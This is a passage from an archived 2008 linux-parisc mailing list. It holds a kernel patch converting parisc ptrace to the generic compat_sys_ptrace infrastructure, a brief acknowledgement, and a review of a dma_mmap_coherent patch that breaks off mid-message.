This is fixed by my changes in upstream libc ports.

The kernel no longer provides an empty user.h, and therefore libc
should not include <linux/user.h> in <sys/user.h>, but instead provide
an empty version to satisfy any userspace application that may try to
include the file.

On hppa linux/user.h has always been empty.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFC] [PATCH] compat_sys_ptrace conversions for parisc
Date: Wed, 20 Aug 2008 00:55:42 +0200
Lines: 588
Approved: news@gmane.org
Message-ID: <48AB4F6E.9050804@gmx.de>
References: <20080817022924.GA23625@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------060806080903020501070303"
X-Trace: ger.gmane.org 1219186572 15400 80.91.229.12 (19 Aug 2008 22:56:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Aug 2008 22:56:12 +0000 (UTC)
Cc: Christoph Hellwig <hch@lst.de>
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 20 00:57:05 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KVa8F-0003tu-N0
	for glpp-linux-parisc@gmane.org; Wed, 20 Aug 2008 00:56:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755600AbYHSWzy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Aug 2008 18:55:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754783AbYHSWzy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Aug 2008 18:55:54 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:60051 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755890AbYHSWzu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Aug 2008 18:55:50 -0400
Original-Received: (qmail invoked by alias); 19 Aug 2008 22:55:47 -0000
Original-Received: from mnhm-590f7a12.pool.einsundeins.de (EHLO halden.box) [89.15.122.18]
  by mail.gmx.net (mp065) with SMTP; 20 Aug 2008 00:55:47 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+iwYIRLsiiIRZ0JnoM9jlI95T8gbW+5we2UikHpL
	1o7M2mc0CCUAoD
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080817022924.GA23625@lst.de>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.55
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:630
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/630>

This is a multi-part message in MIME format.
--------------060806080903020501070303
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Christoph Hellwig wrote:
> Currently mips and parisc are the only architectures not yet converted
> to the generic compat_sys_ptrace.  The conversion is rather trivial and
> only involves splitting the current compat_ptrace handler into a
> compat_arch_ptrace with all the meat and the existing compat_sys_ptrace
> that does all the boilerplate code, just like the generic sys_ptrace.
> To get the generic compat_sys_ptrace you have to add a
> 
> 	#define __ARCH_WANT_COMPAT_SYS_PTRACE
> 
> to ptrace.h for now, but once mips and parisc are converted this will of
> course be removed.  Take a look at the powerpc conversion as an example:
> 
> 	http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git&a=commitdiff&h=81e695c026eeda9a97e412fa4f458e5cab2f6c85

This patch does the compat_sys_ptrace conversion for parisc.
In addition it does convert the parisc ptrace code to use the
architecture-independent ptrace infrastructure instead of own coding.

I did run the gdb test case on 32bit and the result was identical.
Sadly I didn't got a 64bit kernel to boot yet (due to other reasons),
which is why I couldn't verify the new compat code. Nevertheless, since
the compat code did compiled successfully for me, and since it is really
small now, and I don't expect any problems and as such I'm sending this
patch here as RFC.

The size of the patch became pretty big, but mostly it's about deleting 
now unneeded code, shuffling some code around and adapting the indenting.

Signed-off-by: Helge Deller <deller@gmx.de>

  arch/parisc/kernel/ptrace.c        |  429
++++++++++++++-----------------------
  arch/parisc/kernel/syscall_table.S |    2
  include/asm-parisc/ptrace.h        |   10
  3 files changed, 183 insertions(+), 258 deletions(-)


--------------060806080903020501070303
Content-Type: text/x-patch;
 name="ptrace.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="ptrace.patch"

diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 49c6379..90904f9 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -4,6 +4,7 @@
  * Copyright (C) 2000 Hewlett-Packard Co, Linuxcare Inc.
  * Copyright (C) 2000 Matthew Wilcox <matthew@wil.cx>
  * Copyright (C) 2000 David Huggins-Daines <dhd@debian.org>
+ * Copyright (C) 2008 Helge Deller <deller@gmx.de>
  */
 
 #include <linux/kernel.h>
@@ -27,15 +28,149 @@
 /* PSW bits we allow the debugger to modify */
 #define USER_PSW_BITS	(PSW_N | PSW_V | PSW_CB)
 
-#undef DEBUG_PTRACE
+/*
+ * Called by kernel/ptrace.c when detaching..
+ *
+ * Make sure single step bits etc are not set.
+ */
+void ptrace_disable(struct task_struct *task)
+{
+	task->ptrace &= ~(PT_SINGLESTEP|PT_BLOCKSTEP);
 
-#ifdef DEBUG_PTRACE
-#define DBG(x...)	printk(x)
-#else
-#define DBG(x...)
-#endif
+	/* make sure the trap bits are not set */
+	pa_psw(task)->r = 0;
+	pa_psw(task)->t = 0;
+	pa_psw(task)->h = 0;
+	pa_psw(task)->l = 0;
+}
+
+/*
+ * The following functions are called by ptrace_resume() when
+ * enabling or disabling single/block tracing.
+ */
+void user_disable_single_step(struct task_struct *task)
+{
+	ptrace_disable(task);
+}
+
+void user_enable_single_step(struct task_struct *task)
+{
+	task->ptrace &= ~PT_BLOCKSTEP;
+	task->ptrace |= PT_SINGLESTEP;
+
+	if (pa_psw(task)->n) {
+		struct siginfo si;
+
+		/* Nullified, just crank over the queue. */
+		task_regs(task)->iaoq[0] = task_regs(task)->iaoq[1];
+		task_regs(task)->iasq[0] = task_regs(task)->iasq[1];
+		task_regs(task)->iaoq[1] = task_regs(task)->iaoq[0] + 4;
+		pa_psw(task)->n = 0;
+		pa_psw(task)->x = 0;
+		pa_psw(task)->y = 0;
+		pa_psw(task)->z = 0;
+		pa_psw(task)->b = 0;
+		ptrace_disable(task);
+		/* Don't wake up the task, but let the
+		   parent know something happened. */
+		si.si_code = TRAP_TRACE;
+		si.si_addr = (void __user *) (task_regs(task)->iaoq[0] & ~3);
+		si.si_signo = SIGTRAP;
+		si.si_errno = 0;
+		force_sig_info(SIGTRAP, &si, task);
+		/* notify_parent(task, SIGCHLD); */
+		return;
+	}
+
+	/* Enable recovery counter traps.  The recovery counter
+	 * itself will be set to zero on a task switch.  If the
+	 * task is suspended on a syscall then the syscall return
+	 * path will overwrite the recovery counter with a suitable
+	 * value such that it traps once back in user space.  We
+	 * disable interrupts in the tasks PSW here also, to avoid
+	 * interrupts while the recovery counter is decrementing.
+	 */
+	pa_psw(task)->r = 1;
+	pa_psw(task)->t = 0;
+	pa_psw(task)->h = 0;
+	pa_psw(task)->l = 0;
+}
+
+void user_enable_block_step(struct task_struct *task)
+{
+	task->ptrace &= ~PT_SINGLESTEP;
+	task->ptrace |= PT_BLOCKSTEP;
+
+	/* Enable taken branch trap. */
+	pa_psw(task)->r = 0;
+	pa_psw(task)->t = 1;
+	pa_psw(task)->h = 0;
+	pa_psw(task)->l = 0;
+}
+
+long arch_ptrace(struct task_struct *child, long request, long addr, long data)
+{
+	unsigned long tmp;
+	long ret = -EIO;
 
-#ifdef CONFIG_64BIT
+	switch (request) {
+
+	/* Read the word at location addr in the USER area.  For ptraced
+	   processes, the kernel saves all regs on a syscall. */
+	case PTRACE_PEEKUSR:
+		if ((addr & (sizeof(long)-1)) ||
+		    (unsigned long) addr >= sizeof(struct pt_regs))
+			break;
+		tmp = *(unsigned long *) ((char *) task_regs(child) + addr);
+		ret = put_user(tmp, (unsigned long *) data);
+		break;
+
+	/* Write the word at location addr in the USER area.  This will need
+	   to change when the kernel no longer saves all regs on a syscall.
+	   FIXME.  There is a problem at the moment in that r3-r18 are only
+	   saved if the process is ptraced on syscall entry, and even then
+	   those values are overwritten by actual register values on syscall
+	   exit. */
+	case PTRACE_POKEUSR:
+		/* Some register values written here may be ignored in
+		 * entry.S:syscall_restore_rfi; e.g. iaoq is written with
+		 * r31/r31+4, and not with the values in pt_regs.
+		 */
+		if (addr == PT_PSW) {
+			/* Allow writing to Nullify, Divide-step-correction,
+			 * and carry/borrow bits.
+			 * BEWARE, if you set N, and then single step, it won't
+			 * stop on the nullified instruction.
+			 */
+			data &= USER_PSW_BITS;
+			task_regs(child)->gr[0] &= ~USER_PSW_BITS;
+			task_regs(child)->gr[0] |= data;
+			ret = 0;
+			break;
+		}
+
+		if ((addr & (sizeof(long)-1)) ||
+		    (unsigned long) addr >= sizeof(struct pt_regs))
+			break;
+		if ((addr >= PT_GR1 && addr <= PT_GR31) ||
+				addr == PT_IAOQ0 || addr == PT_IAOQ1 ||
+				(addr >= PT_FR0 && addr <= PT_FR31 + 4) ||
+				addr == PT_SAR) {
+			*(unsigned long *) ((char *) task_regs(child) + addr) = data;
+			ret = 0;
+		}
+		break;
+
+	default:
+		ret = ptrace_request(child, request, addr, data);
+		break;
+	}
+
+	return ret;
+}
+
+
+#ifdef CONFIG_COMPAT
 
 /* This function is needed to translate 32 bit pt_regs offsets in to
  * 64 bit pt_regs offsets.  For example, a 32 bit gdb under a 64 bit kernel
@@ -61,106 +196,25 @@ static long translate_usr_offset(long offset)
 	else
 		return -1;
 }
-#endif
 
-/*
- * Called by kernel/ptrace.c when detaching..
- *
- * Make sure single step bits etc are not set.
- */
-void ptrace_disable(struct task_struct *child)
+long compat_arch_ptrace(struct task_struct *child, compat_long_t request,
+			compat_ulong_t addr, compat_ulong_t data)
 {
-	/* make sure the trap bits are not set */
-	pa_psw(child)->r = 0;
-	pa_psw(child)->t = 0;
-	pa_psw(child)->h = 0;
-	pa_psw(child)->l = 0;
-}
-
-long arch_ptrace(struct task_struct *child, long request, long addr, long data)
-{
-	long ret;
-#ifdef DEBUG_PTRACE
-	long oaddr=addr, odata=data;
-#endif
+	compat_uint_t tmp;
+	long ret = -EIO;
 
 	switch (request) {
-	case PTRACE_PEEKTEXT: /* read word at location addr. */ 
-	case PTRACE_PEEKDATA: {
-#ifdef CONFIG_64BIT
-		if (__is_compat_task(child)) {
-			int copied;
-			unsigned int tmp;
-
-			addr &= 0xffffffffL;
-			copied = access_process_vm(child, addr, &tmp, sizeof(tmp), 0);
-			ret = -EIO;
-			if (copied != sizeof(tmp))
-				goto out_tsk;
-			ret = put_user(tmp,(unsigned int *) data);
-			DBG("sys_ptrace(PEEK%s, %d, %lx, %lx) returning %ld, data %x\n",
-				request == PTRACE_PEEKTEXT ? "TEXT" : "DATA",
-				pid, oaddr, odata, ret, tmp);
-		}
-		else
-#endif
-			ret = generic_ptrace_peekdata(child, addr, data);
-		goto out_tsk;
-	}
 
-	/* when I and D space are separate, this will have to be fixed. */
-	case PTRACE_POKETEXT: /* write the word at location addr. */
-	case PTRACE_POKEDATA:
-		ret = 0;
-#ifdef CONFIG_64BIT
-		if (__is_compat_task(child)) {
-			unsigned int tmp = (unsigned int)data;
-			DBG("sys_ptrace(POKE%s, %d, %lx, %lx)\n",
-				request == PTRACE_POKETEXT ? "TEXT" : "DATA",
-				pid, oaddr, odata);
-			addr &= 0xffffffffL;
-			if (access_process_vm(child, addr, &tmp, sizeof(tmp), 1) == sizeof(tmp))
-				goto out_tsk;
-		}
-		else
-#endif
-		{
-			if (access_process_vm(child, addr, &data, sizeof(data), 1) == sizeof(data))
-				goto out_tsk;
-		}
-		ret = -EIO;
-		goto out_tsk;
-
-	/* Read the word at location addr in the USER area.  For ptraced
-	   processes, the kernel saves all regs on a syscall. */
-	case PTRACE_PEEKUSR: {
-		ret = -EIO;
-#ifdef CONFIG_64BIT
-		if (__is_compat_task(child)) {
-			unsigned int tmp;
-
-			if (addr & (sizeof(int)-1))
-				goto out_tsk;
-			if ((addr = translate_usr_offset(addr)) < 0)
-				goto out_tsk;
-
-			tmp = *(unsigned int *) ((char *) task_regs(child) + addr);
-			ret = put_user(tmp, (unsigned int *) data);
-			DBG("sys_ptrace(PEEKUSR, %d, %lx, %lx) returning %ld, addr %lx, data %x\n",
-				pid, oaddr, odata, ret, addr, tmp);
-		}
-		else
-#endif
-		{
-			unsigned long tmp;
+	case PTRACE_PEEKUSR:
+		if (addr & (sizeof(compat_uint_t)-1))
+			break;
+		addr = translate_usr_offset(addr);
+		if (addr < 0)
+			break;
 
-			if ((addr & (sizeof(long)-1)) || (unsigned long) addr >= sizeof(struct pt_regs))
-				goto out_tsk;
-			tmp = *(unsigned long *) ((char *) task_regs(child) + addr);
-			ret = put_user(tmp, (unsigned long *) data);
-		}
-		goto out_tsk;
-	}
+		tmp = *(compat_uint_t *) ((char *) task_regs(child) + addr);
+		ret = put_user(tmp, (compat_uint_t *) (unsigned long) data);
+		break;
 
 	/* Write the word at location addr in the USER area.  This will need
 	   to change when the kernel no longer saves all regs on a syscall.
@@ -169,185 +223,46 @@ long arch_ptrace(struct task_struct *child, long request, long addr, long data)
 	   those values are overwritten by actual register values on syscall
 	   exit. */
 	case PTRACE_POKEUSR:
-		ret = -EIO;
 		/* Some register values written here may be ignored in
 		 * entry.S:syscall_restore_rfi; e.g. iaoq is written with
 		 * r31/r31+4, and not with the values in pt_regs.
 		 */
-		 /* PT_PSW=0, so this is valid for 32 bit processes under 64
-		 * bit kernels.
-		 */
 		if (addr == PT_PSW) {
-			/* PT_PSW=0, so this is valid for 32 bit processes
-			 * under 64 bit kernels.
-			 *
-			 * Allow writing to Nullify, Divide-step-correction,
-			 * and carry/borrow bits.
-			 * BEWARE, if you set N, and then single step, it won't
-			 * stop on the nullified instruction.
+			/* Since PT_PSW==0, it is valid for 32 bit processes
+			 * under 64 bit kernels as well.
 			 */
-			DBG("sys_ptrace(POKEUSR, %d, %lx, %lx)\n",
-				pid, oaddr, odata);
-			data &= USER_PSW_BITS;
-			task_regs(child)->gr[0] &= ~USER_PSW_BITS;
-			task_regs(child)->gr[0] |= data;
-			ret = 0;
-			goto out_tsk;
-		}
-#ifdef CONFIG_64BIT
-		if (__is_compat_task(child)) {
-			if (addr & (sizeof(int)-1))
-				goto out_tsk;
-			if ((addr = translate_usr_offset(addr)) < 0)
-				goto out_tsk;
-			DBG("sys_ptrace(POKEUSR, %d, %lx, %lx) addr %lx\n",
-				pid, oaddr, odata, addr);
+			ret = arch_ptrace(child, request, addr, data);
+		} else {
+			if (addr & (sizeof(compat_uint_t)-1))
+				break;
+			addr = translate_usr_offset(addr);
+			if (addr < 0)
+				break;
 			if (addr >= PT_FR0 && addr <= PT_FR31 + 4) {
 				/* Special case, fp regs are 64 bits anyway */
-				*(unsigned int *) ((char *) task_regs(child) + addr) = data;
+				*(__u64 *) ((char *) task_regs(child) + addr) = data;
 				ret = 0;
 			}
 			else if ((addr >= PT_GR1+4 && addr <= PT_GR31+4) ||
 					addr == PT_IAOQ0+4 || addr == PT_IAOQ1+4 ||
 					addr == PT_SAR+4) {
 				/* Zero the top 32 bits */
-				*(unsigned int *) ((char *) task_regs(child) + addr - 4) = 0;
-				*(unsigned int *) ((char *) task_regs(child) + addr) = data;
+				*(__u32 *) ((char *) task_regs(child) + addr - 4) = 0;
+				*(__u32 *) ((char *) task_regs(child) + addr) = data;
 				ret = 0;
 			}
-			goto out_tsk;
 		}
-		else
-#endif
-		{
-			if ((addr & (sizeof(long)-1)) || (unsigned long) addr >= sizeof(struct pt_regs))
-				goto out_tsk;
-			if ((addr >= PT_GR1 && addr <= PT_GR31) ||
-					addr == PT_IAOQ0 || addr == PT_IAOQ1 ||
-					(addr >= PT_FR0 && addr <= PT_FR31 + 4) ||
-					addr == PT_SAR) {
-				*(unsigned long *) ((char *) task_regs(child) + addr) = data;
-				ret = 0;
-			}
-			goto out_tsk;
-		}
-
-	case PTRACE_SYSCALL: /* continue and stop at next (return from) syscall */
-	case PTRACE_CONT:
-		ret = -EIO;
-		DBG("sys_ptrace(%s)\n",
-			request == PTRACE_SYSCALL ? "SYSCALL" : "CONT");
-		if (!valid_signal(data))
-			goto out_tsk;
-		child->ptrace &= ~(PT_SINGLESTEP|PT_BLOCKSTEP);
-		if (request == PTRACE_SYSCALL) {
-			set_tsk_thread_flag(child, TIF_SYSCALL_TRACE);
-		} else {
-			clear_tsk_thread_flag(child, TIF_SYSCALL_TRACE);
-		}		
-		child->exit_code = data;
-		goto out_wake_notrap;
-
-	case PTRACE_KILL:
-		/*
-		 * make the child exit.  Best I can do is send it a
-		 * sigkill.  perhaps it should be put in the status
-		 * that it wants to exit.
-		 */
-		ret = 0;
-		DBG("sys_ptrace(KILL)\n");
-		if (child->exit_state == EXIT_ZOMBIE)	/* already dead */
-			goto out_tsk;
-		child->exit_code = SIGKILL;
-		goto out_wake_notrap;
-
-	case PTRACE_SINGLEBLOCK:
-		DBG("sys_ptrace(SINGLEBLOCK)\n");
-		ret = -EIO;
-		if (!valid_signal(data))
-			goto out_tsk;
-		clear_tsk_thread_flag(child, TIF_SYSCALL_TRACE);
-		child->ptrace &= ~PT_SINGLESTEP;
-		child->ptrace |= PT_BLOCKSTEP;
-		child->exit_code = data;
-
-		/* Enable taken branch trap. */
-		pa_psw(child)->r = 0;
-		pa_psw(child)->t = 1;
-		pa_psw(child)->h = 0;
-		pa_psw(child)->l = 0;
-		goto out_wake;
-
-	case PTRACE_SINGLESTEP:
-		DBG("sys_ptrace(SINGLESTEP)\n");
-		ret = -EIO;
-		if (!valid_signal(data))
-			goto out_tsk;
-
-		clear_tsk_thread_flag(child, TIF_SYSCALL_TRACE);
-		child->ptrace &= ~PT_BLOCKSTEP;
-		child->ptrace |= PT_SINGLESTEP;
-		child->exit_code = data;
-
-		if (pa_psw(child)->n) {
-			struct siginfo si;
-
-			/* Nullified, just crank over the queue. */
-			task_regs(child)->iaoq[0] = task_regs(child)->iaoq[1];
-			task_regs(child)->iasq[0] = task_regs(child)->iasq[1];
-			task_regs(child)->iaoq[1] = task_regs(child)->iaoq[0] + 4;
-			pa_psw(child)->n = 0;
-			pa_psw(child)->x = 0;
-			pa_psw(child)->y = 0;
-			pa_psw(child)->z = 0;
-			pa_psw(child)->b = 0;
-			ptrace_disable(child);
-			/* Don't wake up the child, but let the
-			   parent know something happened. */
-			si.si_code = TRAP_TRACE;
-			si.si_addr = (void __user *) (task_regs(child)->iaoq[0] & ~3);
-			si.si_signo = SIGTRAP;
-			si.si_errno = 0;
-			force_sig_info(SIGTRAP, &si, child);
-			//notify_parent(child, SIGCHLD);
-			//ret = 0;
-			goto out_wake;
-		}
-
-		/* Enable recovery counter traps.  The recovery counter
-		 * itself will be set to zero on a task switch.  If the
-		 * task is suspended on a syscall then the syscall return
-		 * path will overwrite the recovery counter with a suitable
-		 * value such that it traps once back in user space.  We
-		 * disable interrupts in the childs PSW here also, to avoid
-		 * interrupts while the recovery counter is decrementing.
-		 */
-		pa_psw(child)->r = 1;
-		pa_psw(child)->t = 0;
-		pa_psw(child)->h = 0;
-		pa_psw(child)->l = 0;
-		/* give it a chance to run. */
-		goto out_wake;
-
-	case PTRACE_GETEVENTMSG:
-                ret = put_user(child->ptrace_message, (unsigned int __user *) data);
-		goto out_tsk;
+		break;
 
 	default:
-		ret = ptrace_request(child, request, addr, data);
-		goto out_tsk;
+		ret = compat_ptrace_request(child, request, addr, data);
+		break;
 	}
 
-out_wake_notrap:
-	ptrace_disable(child);
-out_wake:
-	wake_up_process(child);
-	ret = 0;
-out_tsk:
-	DBG("arch_ptrace(%ld, %d, %lx, %lx) returning %ld\n",
-		request, pid, oaddr, odata, ret);
 	return ret;
 }
+#endif
+
 
 void syscall_trace(void)
 {



diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 6b5ac38..e719f27 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -87,7 +87,7 @@
 	ENTRY_SAME(setuid)
 	ENTRY_SAME(getuid)
 	ENTRY_COMP(stime)		/* 25 */
-	ENTRY_SAME(ptrace)
+	ENTRY_COMP(ptrace)
 	ENTRY_SAME(alarm)
 	/* see stat comment */
 	ENTRY_COMP(newfstat)


diff --git a/include/asm-parisc/ptrace.h b/include/asm-parisc/ptrace.h
index 93f990e..f6d14b3 100644
--- a/include/asm-parisc/ptrace.h
+++ b/include/asm-parisc/ptrace.h
@@ -45,6 +45,16 @@ struct pt_regs {
 #define PTRACE_SINGLEBLOCK	12	/* resume execution until next branch */
 #ifdef __KERNEL__
 
+#define __ARCH_WANT_COMPAT_SYS_PTRACE
+
+struct task_struct;
+#define arch_has_single_step()	1
+void user_disable_single_step(struct task_struct *task);
+void user_enable_single_step(struct task_struct *task);
+
+#define arch_has_block_step()	1
+void user_enable_block_step(struct task_struct *task);
+
 /* XXX should we use iaoq[1] or iaoq[0] ? */
 #define user_mode(regs)			(((regs)->iaoq[0] & 3) ? 1 : 0)
 #define user_space(regs)		(((regs)->iasq[1] != 0) ? 1 : 0)

--------------060806080903020501070303--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] remove dead code from sys_parisc32.c
Date: Tue, 19 Aug 2008 23:44:38 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20080820034438.GB19241@phobos.i.cabal.ca>
References: <20080817024151.GA24129@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219203888 25211 80.91.229.12 (20 Aug 2008 03:44:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Aug 2008 03:44:48 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 20 05:45:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KVedf-0003Bg-Bv
	for glpp-linux-parisc@gmane.org; Wed, 20 Aug 2008 05:45:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753271AbYHTDoj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Aug 2008 23:44:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753761AbYHTDoj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Aug 2008 23:44:39 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:41258 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753271AbYHTDoi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Aug 2008 23:44:38 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 461F517802B; Tue, 19 Aug 2008 23:44:38 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080817024151.GA24129@lst.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:631
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/631>

On Sun, Aug 17, 2008 at 04:41:51AM +0200, Christoph Hellwig wrote:
> Unless I'm totally missing something get_fd_set32/set_fd_set32 are
> completely unused.
> 

thanks, hch.

cheers, kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Wed, 20 Aug 2008 11:27:12 -0500
Lines: 126
Approved: news@gmane.org
Message-ID: <1219249633.3258.18.camel@localhost.localdomain>
References: <s5hk5eezcfe.wl%tiwai@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219249646 14921 80.91.229.12 (20 Aug 2008 16:27:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Aug 2008 16:27:26 +0000 (UTC)
Cc: linux-mips@linux-mips.org, ralf@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 20 18:28:18 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KVqXi-0007St-7M
	for glpp-linux-parisc@gmane.org; Wed, 20 Aug 2008 18:28:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753730AbYHTQ1S (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Aug 2008 12:27:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753806AbYHTQ1S
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 20 Aug 2008 12:27:18 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:39956 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753730AbYHTQ1R (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Aug 2008 12:27:17 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 58B2D80B4;
	Wed, 20 Aug 2008 11:27:15 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id p0Qj0wI0ELeR; Wed, 20 Aug 2008 11:27:14 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 188668081;
	Wed, 20 Aug 2008 11:27:14 -0500 (CDT)
In-Reply-To: <s5hk5eezcfe.wl%tiwai@suse.de>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:632 gmane.linux.ports.mips.general:21317
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/632>

On Mon, 2008-08-18 at 15:21 +0200, Takashi Iwai wrote:
> I've been trying to fix a long-standing bug in ALSA, the mmap of
> pages via dma_mmap_coherent().  Since the sound drivers need to expose
> the whole buffer via mmap and the buffers are allocated via
> dma_alloc_coherent(), it causes Oops on some architectures like MIPS.
> One of the fix patches is this one, the addition of
> dma_mmap_coherent() to MIPS architecture.
> 
> This implementation is pretty lazy (and untested) as you see below.
> 
> The whole patches are found on topic/dma-fix branch on sound-2.6 git
> tree
>   git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound-2.6.git
> 
> The gitweb URL of the branch is:
>   http://git.kernel.org/?p=linux/kernel/git/tiwai/sound-2.6.git;a=shortlog;h=topic/dma-fix
> 
> Any review and comments would be appreciated.

I've inlined the parisc piece ... although it would be helpful if you
had posted it to the parisc list rather than letting the mips people
forward it.

I'm afraid there are several problems.  The first is that it doesn't do
what you want.  You can't map a coherent page to userspace (which is at
a non congruent address on parisc) and still expect it to be
coherent ... there's going to have to be fiddling with the page table
caches to make sure coherency isn't destroyed by aliasing effects

Secondly, it's incomplete ... there are two other instances of
hppa_dma_ops in drivers/parisc ccio-dma.c and sba_iommu.c that would
also need to have this added

